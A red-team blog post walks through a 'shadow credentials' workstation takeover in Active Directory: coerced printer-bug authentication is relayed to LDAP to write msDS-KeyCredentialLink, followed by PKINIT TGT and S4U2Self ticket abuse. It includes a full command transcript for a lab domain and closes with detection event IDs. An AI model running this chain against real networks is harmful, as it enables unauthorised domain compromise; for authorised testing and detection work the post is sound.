Experts Blog

Shadow Credentials: Workstation Takeover Edition
October 21, 2021
Matthew Creel

Certificates and PKINIT are hot topics these days and our operators at Fortalice have been doing their best to stay on top of the new research and tools. My previous [blog](https://www.fortalicesolutions.com/posts/pkinit-ftw-chaining-shadow-credentials-and-adcs-template-abuse) touched on [PyWhisker](https://github.com/ShutdownRepo/pywhisker) and referenced one of its resources available on [thehacker.recipes](https://www.thehacker.recipes/ad-ds/movement/kerberos/shadow-credentials). While reading through the documentation there, a note near the bottom caught my eye, which stated: *User objects can't edit their own `msDS-KeyCredentialLink` attribute while computer objects can*.

Interesting – this potentially means that if an attacker can coerce and capture machine account authentication that is relay-able to LDAP, the attacker could set shadow credentials on the computer object allowing for machine takeover. My next thought was, *how is no one talking about this?* Well, it turns out very similar computer takeover methods have been around and documented, one being [this](https://gist.github.com/gladiatx0r/1ffe59031d42c08603a3bde0ff678feb) workstation compromise method by [@gladiatx0r](https://twitter.com/gladiatx0r).

The major difference between this and the proposed relay to set shadow credentials, is this uses ntlmrelayx’s `--delegate-access` attack to add a new machine to Active Directory (if one is not already under attacker control) and configure it for resource-based constrained delegation (RBCD). This will require the domain's `MachineAccountQuota` attribute to be set greater than zero while utilizing shadowing credentials will [require](https://www.thehacker.recipes/ad-ds/movement/kerberos/shadow-credentials#practice) the domain to be set up for PKINIT authentication.

*Note: thehacker.recipes documentation describes a scenario in which auth is captured from a domain controller and relayed to set shadow credentials on the DC's computer object. In practice, this attack vector is likely limited to workstations in most scenarios, since coerced auth (as similarly described in the gist) will need to be received over HTTP for relay to LDAP, requiring the target to have the WebClient service running. Although it can be added, servers do not have the WebClient service installed by default.*

## Obligatory "Why do we Care?"
Workstation takeover is fairly self explanatory - if successful, the attacker can search the target's filesystem for sensitive data, extract authentication material, etc. Another potential use is ADCS (Active Directory Certificate Services) escalation. On engagements we've encountered misconfigured certificate templates, vulnerable to [ESC1](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf), which grant enrollment rights to the Domain Computers group. In this scenario we've used this workstation takeover method to compromise enrollment rights and escalate within the domain from there.

# Performing the Attack

Let’s set up the attack through beacon’s SOCKS proxy feature. Since we’ll be catching authentication at a WebDAV address we control, and not over SMB on 445, we won’t have to concern ourselves with something like PortBender. A simple reverse port forward will do the trick. The attack steps will look like this:

Attack Overview

To get started, I’ve got a beacon running on `ws1.ez.lab` as `EZ\matt`, a low privilege user. I’ll set up the SOCKS proxy and the reverse port forward using beacon’s socks and rportfwd commands. The reverse port forward will be listening on the infected workstation on port 8081 and forwarding traffic to the teamserver (127.0.0.1) on port 81.

Beacon SOCKS and Reverse Port Forwarding Setup

The target workstation will be `ws2.ez.lab`. To set shadow credentials on the computer object, a feature of ntlmrelayx can be used, which is currently awaiting approval as a pull request to Impacket ([#1132](https://github.com/SecureAuthCorp/impacket/pull/1132)). Until it’s merged in, make sure to clone from [here](https://github.com/ShutdownRepo/impacket) and change your branch to the pywhisker branch before using. When starting ntlmrelayx, the new flags we’ll use are `--shadow-credentials` and `--shadow-target` (since my teamserver is bound to 80 and the `rportfwd` is heading to 81, I’m also throwing `--http-port 81`).

Relay Startup

*Note: While I'm targeting LDAPS in the example, plain LDAP also works. In some environments I've experienced LDAP search errors over LDAPS while finding success with the attack over LDAP.*

Now we need to coerce authentication back to `ws1.ez.lab:8081` which will be forwarded to the teamserver on port 81. From there, ntlmrelayx will capture it and fire it through the SOCKS proxy to the DC. I'll use `printerbug.py` from the [krbrelayx](https://github.com/dirkjanm/krbrelayx) toolkit, but in theory, you could also use PetitPotam (I've experienced some bugs with PetitPotam + WebDAV backconnect, not sure if it's still possible after Microsoft's patches). Keep in mind, for this to work with the printerbug, the target will need to have both the `Print Spooler` and `WebClient` services running.

Use Printer Bug to Trigger Authentication

If all goes as planned, you should see the auth captured by the relay and used to add a new KeyCredential to the `msDS-KeyCredentialLink` attribute of the computer object. (Note:  this will only work if a KeyCredential does not already exist.)

Relaying to Update `msDs-KeyCredentialLink` Property

The output will specify the PFX file (and associated password) where the certificate is stored. This will be required in the next step to obtain a Kerberos TGT (ticket-granting-ticket) for the machine account using PKINIT. The `gettgtpkinit.py` script from [PKINITtools](https://github.com/dirkjanm/PKINITtools) can be used for this.

Request TGT using PKINIT

At this point, we've obtained a valid TGT for the machine account. To obtain admin rights to the system, we can use Kerberos [S4U2Self](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/) to obtain a TGS for a service on the host, while impersonating a user that has local admin rights delegated to it. This is what PKINITtools' `gets4uticket.py` is for. Be warned - the command syntax is lengthy and easy to get wrong. (As an alternative to the S4U2Self route, it's also possible to retrieve the machine account's NTLM hash with `getnthash.py` and then create a silver ticket.)

Request TGS for Target User via S4U2Self

Armed with the service ticket for `EZ\Administrator` we can now interact with `ws2` as a local administrator. Ideally, on an engagement, you've identified this host as a high-value target where the admin privileges will come in handy for accomplishing your objectives. I'll use Impacket's `wmiexec.py` as an example, just to verify the TGS is valid:

Utilize TGS for Future Activity

# Attack Transcript

```bash
# Set up ntlmrelayx to relay authentication from target workstation to DC
proxychains python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --shadow-credentials --shadow-target ws2\$ --http-port 81

# Execute printer bug to trigger authentication from target workstation
proxychains python3 printerbug.py ez.lab/matt:Password1\!@ws2.ez.lab ws1@8081/file

# Get a TGT using the newly acquired certificate via PKINIT
proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/impacket/examples/T12uyM5x.pfx -pfx-pass 5j6fNfnsU7BkTWQOJhpR

# Get a TGS for the target account
proxychains python3 gets4uticket.py kerberos+ccache://ez.lab\\ws2\$:ws2.ccache@dc1.ez.lab cifs/ws2.ez.lab@ez.lab administrator@ez.lab administrator_tgs.ccache -v

# Utilize the TGS for future activity
export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache
proxychains python3 wmiexec.py -k -no-pass ez.lab/administrator@ws2.ez.lab

```

# Detection and Mitigation

- Kerberos service ticket generation (event ID 4769, caused here by `gets4uticket.py`) where the *Account Name* and *Service Name* do not align to the *Client Address* generating the event

Event 4769 Indicators

- Monitor for Kerberos TGTs requested (event ID 4768) using PKINIT authentication if the behavior is not standard for the network environment or account.
- Monitor for AD object modifications (event ID 5136 or [4662](https://gist.github.com/Antonlovesdnb/3c7e6dfb380c3768469131933cda08d2)) where the attribute being modified is msDS-KeyCredentialLink.
- Identity-based detection of authentication to the DC as `EZ\WS2$` from `ws1.ez.lab` (the relay attack in the example)